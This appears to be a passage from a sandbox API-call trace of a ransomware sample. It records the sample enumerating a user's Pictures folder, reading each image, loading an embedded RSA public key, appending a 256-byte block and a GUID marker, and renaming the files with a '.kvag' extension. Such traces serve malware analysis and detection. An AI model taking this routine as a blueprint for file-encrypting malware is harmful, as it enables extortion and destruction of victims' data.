1 [0119.983] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.983] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.983] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.983] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.983] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.984] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0119.984] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.984] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.984] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.984] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.984] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x668e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.984] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.984] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.984] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.984] CloseHandle (hObject=0x61c) returned 1 [0119.985] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jH6B7Hxu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jh6b7hxu.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jH6B7Hxu.gif.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jh6b7hxu.gif.kvag")) returned 1 [0119.986] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19304e0, ftCreationTime.dwHighDateTime=0x1d4cb10, ftLastAccessTime.dwLowDateTime=0x1e138a70, ftLastAccessTime.dwHighDateTime=0x1d4c92f, ftLastWriteTime.dwLowDateTime=0x1e138a70, ftLastWriteTime.dwHighDateTime=0x1d4c92f, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="l6PS7hO-iIQ_NKlEq pK.png", cAlternateFileName="L6PS7H~1.PNG")) returned 1 [0119.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\l6PS7hO-iIQ_NKlEq pK.png") returned=".png" [0119.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\l6PS7hO-iIQ_NKlEq pK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\l6ps7ho-iiq_nkleq pk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.987] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=26248) returned 1 [0119.987] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.989] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6662, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.989] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.990] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x6688, lpOverlapped=0x0) returned 1 [0119.991] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.991] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.991] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.991] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.992] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.992] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.992] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.992] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.992] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.992] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.992] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.992] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.992] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.992] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.992] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6688, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.992] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.993] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.993] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.993] CloseHandle (hObject=0x61c) returned 1 [0119.996] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\l6PS7hO-iIQ_NKlEq pK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\l6ps7ho-iiq_nkleq pk.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\l6PS7hO-iIQ_NKlEq pK.png.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\l6ps7ho-iiq_nkleq pk.png.kvag")) returned 1 [0119.997] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb843370, ftCreationTime.dwHighDateTime=0x1d4d459, ftLastAccessTime.dwLowDateTime=0x40345e10, ftLastAccessTime.dwHighDateTime=0x1d4cc2f, ftLastWriteTime.dwLowDateTime=0x40345e10, ftLastWriteTime.dwHighDateTime=0x1d4cc2f, nFileSizeHigh=0x0, nFileSizeLow=0x5d38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M4rm6k3.gif", cAlternateFileName="")) returned 1 [0119.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\M4rm6k3.gif") returned=".gif" [0119.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\M4rm6k3.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\m4rm6k3.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.001] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=23864) returned 1 [0120.001] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.003] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5d12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.003] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.004] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x5d38, lpOverlapped=0x0) returned 1 [0120.005] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.005] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.005] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.005] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.006] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.006] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.006] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.006] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.006] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.006] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.006] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.006] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.006] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.007] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.007] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5d38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.007] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.007] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.007] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.007] CloseHandle (hObject=0x61c) returned 1 [0120.008] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\M4rm6k3.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\m4rm6k3.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\M4rm6k3.gif.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\m4rm6k3.gif.kvag")) returned 1 [0120.010] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8a6570, ftCreationTime.dwHighDateTime=0x1d4c8d7, ftLastAccessTime.dwLowDateTime=0x1ca905f0, ftLastAccessTime.dwHighDateTime=0x1d4cdb9, ftLastWriteTime.dwLowDateTime=0x1ca905f0, ftLastWriteTime.dwHighDateTime=0x1d4cdb9, nFileSizeHigh=0x0, nFileSizeLow=0x7d62, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OrlE5DDk6Qs.bmp", cAlternateFileName="ORLE5D~1.BMP")) returned 1 [0120.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OrlE5DDk6Qs.bmp") returned=".bmp" [0120.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OrlE5DDk6Qs.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\orle5ddk6qs.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.011] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=32098) returned 1 [0120.011] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.014] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7d3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.014] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.015] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x7d62, lpOverlapped=0x0) returned 1 [0120.016] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.016] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.016] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.016] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.017] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.017] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.017] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.017] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.017] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.017] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.017] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.017] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.017] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.017] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.017] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7d62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.017] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.018] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.018] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.018] CloseHandle (hObject=0x61c) returned 1 [0120.019] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OrlE5DDk6Qs.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\orle5ddk6qs.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OrlE5DDk6Qs.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\orle5ddk6qs.bmp.kvag")) returned 1 [0120.020] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d015750, ftCreationTime.dwHighDateTime=0x1d4cf47, ftLastAccessTime.dwLowDateTime=0x7d7be6c0, ftLastAccessTime.dwHighDateTime=0x1d4c947, ftLastWriteTime.dwLowDateTime=0x7d7be6c0, ftLastWriteTime.dwHighDateTime=0x1d4c947, nFileSizeHigh=0x0, nFileSizeLow=0x2160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p7jOmY0YHtfEDXHjzMJ-.jpg", cAlternateFileName="P7JOMY~1.JPG")) returned 1 [0120.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\p7jOmY0YHtfEDXHjzMJ-.jpg") returned=".jpg" [0120.020] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\p7jOmY0YHtfEDXHjzMJ-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\p7jomy0yhtfedxhjzmj-.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.021] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=8544) returned 1 [0120.021] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.023] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x213a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.023] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.024] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x2160, lpOverlapped=0x0) returned 1 [0120.025] 